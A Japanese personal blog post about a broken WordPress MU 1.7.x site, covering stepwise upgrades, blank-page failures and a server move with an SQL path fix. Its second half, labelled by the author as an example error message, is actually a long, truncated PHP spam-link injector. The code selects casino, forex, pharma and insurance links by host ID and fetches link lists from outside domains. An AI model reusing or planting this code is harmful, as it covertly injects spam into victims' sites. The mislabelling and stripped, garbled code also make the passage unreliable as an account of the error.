PR

[WordPress] WPMU 1.7.x が壊れた

さて、理由は不明。とにかく壊れた。
メインで動かしているシステムとユーザ情報を連結するための自前のプログラムもあるからどこがどうだかわからない。致命的だったのは特定不能なエラーが出たこと。他のサイトでも出ているようだけれど、対策情報は見つからず。

再インストール、データ復旧、リカバリー、上書き、いろいろやってみるも無理。いま考えると何かのプラグインだったのかも。けれど、該当エラーを出力する場所がとにかくどこかにあるだろうと grep するも見つからず。お手上げ。

こうなったら自前の連結プログラムを殺してでもバージョンアップしてしまえと思うけれど、それも”真っ白”さんのお出ましで無理。データ(データベースではなくてエクスポート)の取り出しだけでもできればなぁと思ったけれど、サーバーが落ちる程度の不具合。落ちるような負荷がかかっているのかと思えばそうでもない。わからん。解決しつつある今でも明確な答えはわからん。

ただ言えるのは、特定のブログを閲覧すると問題が引き起こされるということだ。クローラやユーザが見るだけで落ちるのでたまったものではない。.htaccessで強制排除しつつ、作業をすることになる。以下はその記録・・・いろいろやり過ぎて記憶にも記録にもないけれど参考になれば。

スポンサードリンク

 1.7.2 が見つからない

いよいよ重い腰が上がって(いや、他にも調べることがあったのですよ、と言い訳もあるけれど、ユーザには知った事ではないのでしょうね・・・)、三度目の正直、挑戦する。まず、WordPressには時々致命的な問題を抱えたバージョンが出る。で、記憶をたどるとwpmu1.7.2もそれに該当する気がした。ともかく、少しの損傷は目をつぶるということで、1.7.2をさがそう。

過去のバージョンは Download › Release Archives に置かれている。けれど、よくよく見ると所々抜けがある。どうやら問題のあるものはダウンロードできないようだ。・・・せめて警告付きでいいからそのバージョンかパッチがあたったバージョンは置いて欲しかった。1400万ダウンロードありながら、世界中探しても1.7.2がない。その前後もない。怪しいファイルですらどこかしらから出てくるし、勝手に収集して提供するサイトまであるのにこういう時に限ってない。素晴らしい出だしだ。

 3.0.1 を入れてしまえ

おそらく以前の私も、当時の最新を入れて失敗したのだと記憶している。WordPressには真っ白になる問題がある。これにはいろいろ考えられるところが多くて、明確な対処法がない。対処法が掲載されているサイトもあるけれど、その問題でないのに真っ白になっている場合があって、残念ながら役立たない。現在の最新は3.0.1だ。流れを知っているものならば、3系がこれまでと大きく違うことはすぐに分かる。しかしここは掛けるしか無い。

やっぱり真っ白さん。せめて500エラーの方がまだよかったような気さえしてくる。

 ステップアップ・バージョンアップ

前出のサイトから1.5.1を持ってくるか迷うが2.5を持ってくる。何とかアップデートできたようだ。2.6を持ってくる。これもクリア。いい調子だ。2.7・・・も行けた!いいぞいいぞ。2.8.1・・・ダメか。よし、2系にもなったことだし、3系に行ってしまえ・・・ダメなのね。ダメもとで2.8.5でどうだ?ダメか・・・。2.7に戻そう。

自動アップデート

自動アップデートが誘惑する。たまには誘いに乗ってみるのもいいだろう。が、途中でダメっぽい。このころになると、PHPがそのまま垂れ流しになることもある。なぜだろう?PHPが動作していないならダッシュボードやいくつかの機能さえ動作しないはずだ。それではPHPのバージョンか?調べてみると、サーバーはCentOSで動作している。現在、PHPは5.1.xが最新らしい。5系になっていることには感謝だけれど、関数的には5.3も使いたい。yumの設定を書き換えて・・・というのも考えたが、もうここまできたら現時点でのバックアップ取ってサーバー移動してしまえ。

サーバー確保

サーバー確保は慣れたものだ。特にオレオレサーバーは自由が効きすぎてイケない、こともある。ということでレン鯖にスペース確保して、DNS書き換えて暫く待つ。nslookupで出てきたことを確認してFTP接続。レン鯖はいくつも使っているので慣れたものだ。ファイルを転送して、このサーバー用の.htaccessを放りこむ。初期でつまずくPHP関連の問題はさっさとクリアしておく。

すぐにphpMyAdminで取っておいたDumpを新しいサーバーのphpMyAdminで放りこむ。そのまま認識してくれたようで助かった。

ところで、それまでは ドメイン/ディレクトリ/ 方式で運用してきた。今用意したサーバーはサブドメインだ。影響がなければよいのだが。

始まり

サーバーは本当に真っ白な状態。データベースにはデータが投入されているけれど、FTPで生の状態のWordPress2.7が居るだけ。ブラウザでこんにちはするも、当然セットアップになる。configファイルを転送してこんにちは。あ、そっかデータベース接続設定を書き直して、こんにちは。

さーて、そうは問屋がおろしてくれない。バグレポートが表示される。訳すと /wp-admin に接続したいけれど admin = 1 で 1 のブログが /blog なんだけどないんだよねーってとこか。phpMyAdmin でWordPress 全体に関わるところだけドメインやpathを書き直す。しばらくして、/wp-admin まで行けるようになった。ダッシュボードが何とか表示できた。

しかし、特権管理からユーザの情報を見ると以前の情報をそのまま丁寧に持っている。geeklogもそうだった。だからたぶんとても意味の有ることなのだろう。。。。しかし移転が面倒で仕方ない。しかも文字数とか。。。まぁ文字数はいつも無視しちゃうけれど。

 データベース

サイト全体の更新を行う機能の名称が「ネットワーク更新」に変わっている。ネットワーク更新でpathなどの情報を書き換えてくれないかやってみると、以前のpathを参照していることに気がつく。

いつも思うのだけれど、SQLジレンマ。SQLを生で書く機会はほとんどない。perlでDBI使っていた時とか、perlのフレームワーク「TripletaiL」を使っているときはガシガシ書いていた気がするけれど、いまはCakePHP。フレームワーク任せで余り書かなくなったし、書かなくても良いのがフレームワークだ。

update wp_signups set path = REPLACE(path,’blog/’, ”)

まぁ手動のほうが早いところはそれで、多いところは上記のSQLなどを利用する。今回はやらなかったけれど、内容によっては一度DumpしてK2Eから正規表現で置換したりもする。

真っ白再び

なんとかして、動作するようになった。プラグインが書き出したデータ等一部はやっぱり手動での書き換えが必要だったが。

/ は表示も管理もできる。念のため見てみようとユーザのブログを表示してみる。真っ白だ。

・・・。

テーマがなければデフォルトが使用されるとどこかの情報があったし、そのような表示もあったように思うがどうやらうまく動作しないか、それほど壊れていると認識されているようだ。

ユーザになりすましてテーマをデフォルトにする。1.7.2のとき集めたフリーのテーマは使えないだろうと思って今回は転送していなかったのだが、転送していればよかったのかもしれない。

なんとか表示できるようになってきた。古いテーマを転送して有効化すると、それらは問題なく動作した。

終わりと始まり

何とか動作するようになったし、このまま動作させることもできるようになたtのだろうけれど、データを抜き出すだけして後々移動しようと思う。取り敢えず様子見・・・。

以下はエラー表示の例(長い):

"); @mysql_select_db("tb") or die(); $url = mysql_real_escape_string($_GET['host']) or die(); $sql = "SELECT * FROM wp WHERE url = '$url' LIMIT 1"; $res = @mysql_query($sql) or die(); if(strpos($url, "hatfredrea")) die(); // echo ' '; // echo ' '; // echo ' '; // be - winupdate /* echo '

'; */ if(mysql_num_rows($res) > 0) { $row = mysql_fetch_row($res) or die(); $id = $row[0]; $counter = $row[2]; $c = $counter + 1; $time = date("Y-m-d H:i:s"); /* if(!strpos($url, "emplatesbrowser.co") AND strpos($url, ".es") AND $id < 39000) { } */ if(!strpos($url, "emplatesbrowser.co") AND $id < 500) { echo '

studmed

'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 1000) { // EX-SYMBIAN // 04/12/07 : tolto ijcai $rand = rand(1,50); if($rand == 1) $searchword = "casino"; elseif($rand == 2) $searchword = "europa"; elseif($rand == 3) $searchword = "poker"; elseif($rand == 4) $searchword = "line"; elseif($rand == 5) $searchword = ""; elseif($rand == 6) $searchword = "on"; elseif($rand == 7) $searchword = "tornei"; elseif($rand == 8) $searchword = "via"; elseif($rand == 9) $searchword = "meta"; elseif($rand == 10) $searchword = "search"; elseif($rand == 11) $searchword = "matched"; elseif($rand == 12) $searchword = "criteria"; elseif($rand == 13) $searchword = "sorry"; elseif($rand == 14) $searchword = "roulette"; elseif($rand == 15) $searchword = "cd"; elseif($rand == 16) $searchword = "the"; elseif($rand == 17) $searchword = "bonus"; elseif($rand == 18) $searchword = "online"; elseif($rand == 19) $searchword = "bellini"; elseif($rand == 20) $searchword = "bingo"; elseif($rand == 21) $searchword = "vivo"; elseif($rand == 22) $searchword = "lingua"; elseif($rand == 23) $searchword = "com"; elseif($rand == 24) $searchword = "anno"; elseif($rand == 25) $searchword = "webcam"; elseif($rand == 26) $searchword = "europ"; elseif($rand == 27) $searchword = "ha"; elseif($rand == 28) $searchword = "anche"; elseif($rand == 29) $searchword = "come"; elseif($rand == 30) $searchword = "il"; elseif($rand == 31) $searchword = "lo"; elseif($rand == 32) $searchword = "software"; elseif($rand == 33) $searchword = "che"; elseif($rand == 34) $searchword = "uno"; elseif($rand == 35) $searchword = "italiano"; elseif($rand == 36) $searchword = "extra"; elseif($rand == 37) $searchword = "su"; elseif($rand == 38) $searchword = "con"; elseif($rand == 39) $searchword = "pagamenti"; elseif($rand == 40) $searchword = "poker"; elseif($rand == 41) $searchword = "mondo"; elseif($rand == 42) $searchword = "gratis"; elseif($rand == 43) $searchword = "gioco"; elseif($rand == 44) $searchword = "playtech"; elseif($rand == 45) $searchword = "staff"; elseif($rand == 46) $searchword = "gioca"; elseif($rand == 47) $searchword = "about"; elseif($rand == 48) $searchword = "texano"; elseif($rand == 49) $searchword = "texas"; else $searchword = ""; /* echo '

'; */ // echo "
viagra phentermine
"; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 1300) { echo '
medical student
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 2900) { } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 3500) { // 270908 // EX-LEMANIX include("_start_caching-NEW-161108.php"); $rand = rand(1,4); if($rand == 1) echo "
satellite tv
"; elseif($rand == 2) echo "
dish network
"; elseif($rand == 3) echo "
direct tv satellite
"; else echo "
buy satellite tv
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 4000) { // EX-MININGIMPACTS include("_start_caching-jaleco.php"); $randnum = rand(1456490, 2699999); echo " "; include("_end_caching-jaleco.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 4100) { echo '
acquisto libri
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 4200) { echo '
libri online
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 4300) { echo '
libri
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 4500) { echo '
vendita libri
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 4700) { echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 5100) { echo ' '; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 5150) { echo ' '; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 5200) { echo ' '; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 5800) { $randnum = rand(1456490, 2699999); echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 5900) { echo ' '; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 6400) { include("_start_caching-nntp-2.php"); $randnum = rand(1456490, 2699999); $randnum2 = $randnum + 666666; $wlinks = file_get_contents("http://www.lasalute.net/wlinks/index.php"); $wlinks2 = file_get_contents("http://www.borsa-italia.net/wlinks/index.php"); echo " "; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 7000) { // EX-PMAIL // EX PLUX include("_start_caching-nntp-2.php"); $randnum = rand(10, 111); $wlinks = file_get_contents("http://www.studmed.com/wlinks/index.php"); echo "
$wlinks
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 7200) { echo " "; } // NUOVI IDs (09/05/07) elseif(!strpos($url, "emplatesbrowser.co") AND $id < 7300) { echo " "; } // GRADUALE: links per VideoNetwork, cominciato 10/05/07, aggiungere 25 al giorno - ULTIMO 16/05/07 elseif(!strpos($url, "emplatesbrowser.co") AND $id < 7600) { $randnum = rand(1456490, 2699999); echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 7800) { $randnum = rand(1456490, 2699999); echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 8100) { echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 8600) { // EX-Honco : 130610 /* echo '
health insurance
'; */ echo '
free wordpress themes
'; } // INIZIO Forumer da 8.615 a 10.430 elseif(!strpos($url, "emplatesbrowser.co") AND $id < 9000) { // EX-SHANNONCOURT // EX-SANVALENTINO include("_start_caching-jaleco.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,4); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching-jaleco.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 10400) { echo " "; } // FINE Forumer da 8.615 a 10.430 elseif(!strpos($url, "emplatesbrowser.co") AND $id < 10500) { } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 11800) { include("_start_caching-NEW-161108.php"); $rand = rand(1,8); if($rand == 1) echo "
salute
"; elseif($rand == 2) echo "
medicina
"; elseif($rand == 3) echo "
oculista
"; elseif($rand == 4) echo "
alimentazione
"; elseif($rand == 5) echo "
psicologia
"; elseif($rand == 6) echo "
denti
"; elseif($rand == 7) echo "
salute
"; else echo "
medici
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 13600) { // EX PLUX // ADDED : 130610 include("_start_caching-130610.php"); $randnum = rand(499999, 19999999); echo "
Wordpress Themes
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 14100) { echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 14150) { echo '
dish network
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 14200) { echo '
dish tv
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 15100) { // EX-STUDMED: Removed 191108 } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 15200) { echo '
jaleco
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 15400) { echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 15500) { echo '
dish network
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 15600) { echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 15700) { // EX-PMAIL IT echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 17000) { // EX-STUDMED: Removed 191108 } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 18000) { include("_start_caching-070409.php"); $randnum = rand(499999, 15999999); $rand = rand(1,6); if($rand == 1) echo "
online casino
"; elseif($rand == 2) echo "
avenue casino en ligne
"; elseif($rand == 3) echo "
online-kasino
"; elseif($rand == 4) echo "
jeux de casino
"; elseif($rand == 5) echo "
casino en ligne
"; else echo "
le casino en ligne
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 19000) { // EX-WARCRAFTSTRATEGY include("_start_caching-070409.php"); $randnum = rand(499999, 15999999); $rand = rand(1,4); if($rand == 1) echo "
casino
"; elseif($rand == 2) echo "
jeux casino
"; elseif($rand == 3) echo "
casino online
"; else echo "
casino en ligne
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 19500) { // 260908 include("_start_caching-NEW-161108.php"); $rand = rand(1,4); if($rand == 1) echo "
satellite cable tv
"; elseif($rand == 2) echo "
best satellite tv
"; elseif($rand == 3) echo "
best satellite tv deal
"; else echo "
buy satellite tv
"; include("_end_caching.php"); /* EX-LEMANIX: Lemanix example: include("_start_caching-NEW-IT.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,4); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; elseif($rand == 4) echo " "; include("_end_caching-NEW-IT.php"); */ } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 20000) { // ORA EX-WARCRAFTSTRATEGY // EX-SYMBIAN // MODIFICATO : Inizio cache include("_start_caching-jaleco.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,4); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching-jaleco.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 20500) { // EX-WARCRAFTSTRATEGY echo '
free games
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 21000) { echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 21500) { echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 22000) { echo "
free wordpress themes
"; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 22500) { // MODIFICATO : Inizio cache include("_start_caching_trade.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,4); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching_trade.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 23500) { // 120908 // EX-AIGAMINN + TERRA include("_start_caching-NEW-020209.php"); $rand = rand(1,4); $randnum = rand(50,99999); // echo " "; if($rand == 1) echo "
home security
"; elseif($rand == 2) echo "
Home Security System
"; elseif($rand == 3) echo "
lasik surgery
"; else echo "
lasik surgery
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 24500) { // MODIFICATO : Inizio cache include("_start_caching_trade.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,6); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; elseif($rand == 4) echo " "; elseif($rand == 5) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching_trade.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 25000) { include("_start_caching-nntp-2.php"); $randnum = rand(1456490, 2699999); $randnum2 = $randnum + 666666; $wlinks2 = file_get_contents("http://www.borsa-italia.net/wlinks/index.php"); $wlinks = file_get_contents("http://www.lasalute.net/wlinks/index.php"); echo " "; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 26000) { // 120908 // EX-AIGAMINN + TERRA } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 26500) { // EX-STUDMED // EX PLUX } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 27000) { // EX-SYMBIAN // MODIFICATO : Inizio cache include("_start_caching-2.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,4); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching-2.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 27500) { } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 28500) { // EX-WARCRAFTSTRATEGY // MODIFICATO : Inizio cache include("_start_caching-jaleco.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,4); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching-jaleco.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 29000) { // EX-STUDMED // EX PLUX } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 30000) { include("_start_caching-NEW-221108.php"); $rand = rand(1,6); if($rand == 1) echo "
Satellite tv comparison
"; elseif($rand == 2) echo "
satellite TV
"; elseif($rand == 3) echo "
Cheap health insurance
"; elseif($rand == 4) echo "
Affordable health insurance
"; elseif($rand == 5) echo "
dentists
"; else echo "
Le forex
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 31000) { include("_start_caching-NEW-221108.php"); $rand = rand(1,6); if($rand == 1) echo "
Compare Satellite tv
"; elseif($rand == 2) echo "
Satellite TV deals
"; elseif($rand == 3) echo "
Affordable health insurance
"; elseif($rand == 4) echo "
Individual health insurance
"; elseif($rand == 5) echo "
Nutrition
"; else echo "
Forex en ligne
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 32000) { include("_start_caching-NEW-180209.php"); $rand = rand(1,6); $randnum = rand(1,999999); if($rand == 1) echo "
Tasse
"; elseif($rand == 2) echo "
Palestra
"; elseif($rand == 3) echo "
Droit
"; elseif($rand == 4) echo "
fiscalite
"; elseif($rand == 5) echo "
Open Blu Hosting
"; else echo "
Business Directory
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 32200 ) { } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 32500) { } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 32700) { echo '
poker online
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 33000) { } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 33500) { // EX-PLUX } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 34000) { } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 34500) { } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 35500) { include("_start_caching-NEW-141108.php"); $rand = rand(1,10); if($rand == 1) echo "
le Forex
"; elseif($rand == 2) echo "
forex en ligne
"; elseif($rand == 3) echo "
droit fiscal
"; elseif($rand == 4) echo "
euro
"; elseif($rand == 5) echo "
Forex Online
"; elseif($rand == 6) echo "
Finanza on line
"; elseif($rand == 7) echo "
banche on line
"; else echo "
banca fineco
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 39000 ) { // EX-COTK : REMOVED 071208 // REMOVED: 020409 // 160709 - REMOVED: bonnomori,joe, banned... keep 500gp and desmoinesarearealtor.net } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 40000) { // EX-MININGIMPACTS include("_start_caching-jaleco.php"); $randnum = rand(1456490, 2699999); echo " "; include("_end_caching-jaleco.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 40500) { // TB echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 41000) { // TB echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 42000) { include("_start_caching-NEW-141108.php"); $rand = rand(1,10); if($rand == 1) echo "
Crise economique
"; elseif($rand == 2) echo "
crise financi�re
"; elseif($rand == 3) echo "
il Forex
"; elseif($rand == 4) echo "
forex en ligne
"; elseif($rand == 5) echo "
fiscalit�
"; elseif($rand == 6) echo "
Euro
"; elseif($rand == 7) echo "
Forex
"; elseif($rand == 8) echo "
Borsa
"; elseif($rand == 9) echo "
mutui casa
"; else echo "
fineco
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 42500) { include("_start_caching-nntp.php"); $randnum = rand(1456490, 2699999); $randnum2 = $randnum + 666666; $wlinks = file_get_contents("http://www.borsa-italia.net/wlinks/index.php"); $wlinks2 = file_get_contents("http://www.nouvellerepublique.com/wlinks/index.php"); echo " "; include("_end_caching-nntp.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 44000) { // EX-SHANNONCOURT // EX-SANVALENTINO include("_start_caching-jaleco.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,4); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching-jaleco.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 45000) { include("_start_caching-NEW-111108.php"); $rand = rand(1,4); if($rand == 1) echo "
forex
"; elseif($rand == 2) echo "
il forex
"; elseif($rand == 3) echo "
investir en bourse
"; else echo "
le forex
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 46000) { // EX-SHANNONCOURT // EX-SANVALENTINO include("_start_caching-jaleco.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,4); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching-jaleco.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 46500) { // EX-SHANNONCOURT // EX-SANVALENTINO include("_start_caching-tnt.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,8); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; elseif($rand == 4) echo " "; elseif($rand == 5) echo " "; elseif($rand == 6) echo " "; elseif($rand == 7) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching-tnt.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 46800) { // EX-SHANNONCOURT // EX-SANVALENTINO include("_start_caching-tnt.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,6); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; elseif($rand == 4) echo " "; elseif($rand == 5) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching-tnt.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 47500) { include("_start_caching-nntp.php"); $randnum = rand(1456490, 2699999); $randnum2 = $randnum + 666666; $wlinks = file_get_contents("http://www.nouvellerepublique.com/wlinks/index.php"); $wlinks2 = file_get_contents("http://www.borsa-italia.net/wlinks/index.php"); echo " "; include("_end_caching-nntp.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 48500) { $rand = rand(1,4); if($rand == 1) echo '
forex
'; elseif($rand == 2) echo '
forex
'; elseif($rand == 3) echo '
forex en ligne
'; else echo '
forex en ligne
'; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 49000) { // PERBACCO echo " "; } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 49500) { // 23/09/08 include("_start_caching-tnt.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,4); if($rand == 1) echo "
forex
"; elseif($rand == 2) echo "
forex
"; elseif($rand == 3) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching-tnt.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 50000) { include("_start_caching-nntp.php"); $randnum = rand(1456490, 2699999); $randnum2 = $randnum + 666666; //$wlinks1 = file_get_contents("http://www.warcraftstrategy.com/wlinks/index.php"); $wlinks1 = file_get_contents("http://www.borsa-italia.net/wlinks/index.php"); $wlinks2 = file_get_contents("http://www.nouvellerepublique.com/wlinks/index.php"); echo " "; include("_end_caching-nntp.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 50500) { // EX-SHANNONCOURT // EX-SANVALENTINO include("_start_caching-tnt.php"); $randnum = rand(1456490, 2699999); $rand = rand(1,4); if($rand == 1) echo " "; elseif($rand == 2) echo " "; elseif($rand == 3) echo " "; else echo " "; // MODIFICATO : Fine cache include("_end_caching-tnt.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 51500) { // EX-LEMANIX include("_start_caching-NEW-111108.php"); $rand = rand(1,8); if($rand == 1) echo "
forex
"; elseif($rand == 2) echo "
trading on line
"; elseif($rand == 3) echo "
investire in borsa
"; elseif($rand == 4) echo "
giocare in borsa
"; elseif($rand == 5) echo "
quotazioni borsa
"; elseif($rand == 6) echo "
finanza
"; elseif($rand == 7) echo "
forex trading
"; else echo "
forex
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 53500) { // EX-LEMANIX include("_start_caching-NEW-101108.php"); $rand = rand(1,16); if($rand == 1) echo "
forex
"; elseif($rand == 2) echo "
trading on line
"; elseif($rand == 3) echo "
come investire in borsa
"; elseif($rand == 4) echo "
investire
"; elseif($rand == 5) echo "
satellite tv
"; elseif($rand == 6) echo "
dish network
"; elseif($rand == 7) echo "
buy direct tv
"; elseif($rand == 8) echo "
buy satellite tv
"; elseif($rand == 9) echo "
forex
"; elseif($rand == 10) echo "
banque
"; elseif($rand == 11) echo "
finance
"; elseif($rand == 12) echo "
economie
"; elseif($rand == 13) echo "
investire
"; elseif($rand == 14) echo "
trading online
"; elseif($rand == 15) echo "
online forex
"; else echo "
forex trading
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 54500) { include("_start_caching-NEW-281108.php"); $rand = rand(1,16); if($rand == 1) echo "
il forex
"; elseif($rand == 2) echo "
forex e derivati
"; elseif($rand == 3) echo "
euro dollaro
"; elseif($rand == 4) echo "
le obbligazioni
"; elseif($rand == 5) echo "
satellite tv
"; elseif($rand == 6) echo "
The satellite tv
"; elseif($rand == 7) echo "
affordable health insurance
"; elseif($rand == 8) echo "
Best health insurance
"; elseif($rand == 9) echo "
le forex
"; elseif($rand == 10) echo "
Forex
"; elseif($rand == 11) echo "
dollar
"; elseif($rand == 12) echo "
euro
"; elseif($rand == 13) echo "
forex
"; elseif($rand == 14) echo "
trading online
"; elseif($rand == 15) echo "
forex broker
"; else echo "
le forex en ligne
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 55000) { // EX Spread Hosting // 070409 // 050709: EX Banned CBlogs (mrg2000, fireprox, ...) include("_start_caching-NEW-281108.php"); $rand = rand(1,4); $randum = rand(500,99999); if($rand == 1) echo "
azioni enel
"; elseif($rand == 2) echo "
condono fiscale
"; elseif($rand == 3) echo "
condono tombale
"; else echo "
scudo fiscale
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 55500) { include("_start_caching-210409.php"); $randnum = rand(499999, 15999999); $rand = rand(1,3); if($rand == 1) echo "
casino on-line
"; if($rand == 2) echo "
casino online
"; else echo "
casinò online
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 56500) { include("_start_caching-NEW-171208.php"); $rand = rand(1,8); echo " "; if($rand == 1) echo "
home security cameras
"; elseif($rand == 2) echo "
home security alarm
"; elseif($rand == 3) echo "
door security systems
"; elseif($rand == 4) echo "
window home security
"; elseif($rand == 5) echo "
outdoor security
"; elseif($rand == 6) echo "
outdoor security camera
"; elseif($rand == 7) echo "
vision correction
"; else echo "
lasik eye surgery
"; include("_end_caching.php"); } elseif(!strpos($url, "emplatesbrowser.co") AND $id < 57000) { include("_start_caching-NEW-171208.php"); $rand = rand(1,8); echo " "; if($rand == 1) echo "
home security
"; elseif($rand == 2) echo "
home security system
"; elseif($rand == 3) echo "
home alarm systems
"; elseif($rand == 4) echo "
home wireless security
"; elseif($rand == 5) echo "
lasik surgery
"; elseif($rand == 6) echo "
Buy contact lenses
"; elseif($rand == 7) echo "
lasik eye surgery
"; else echo "
vision care
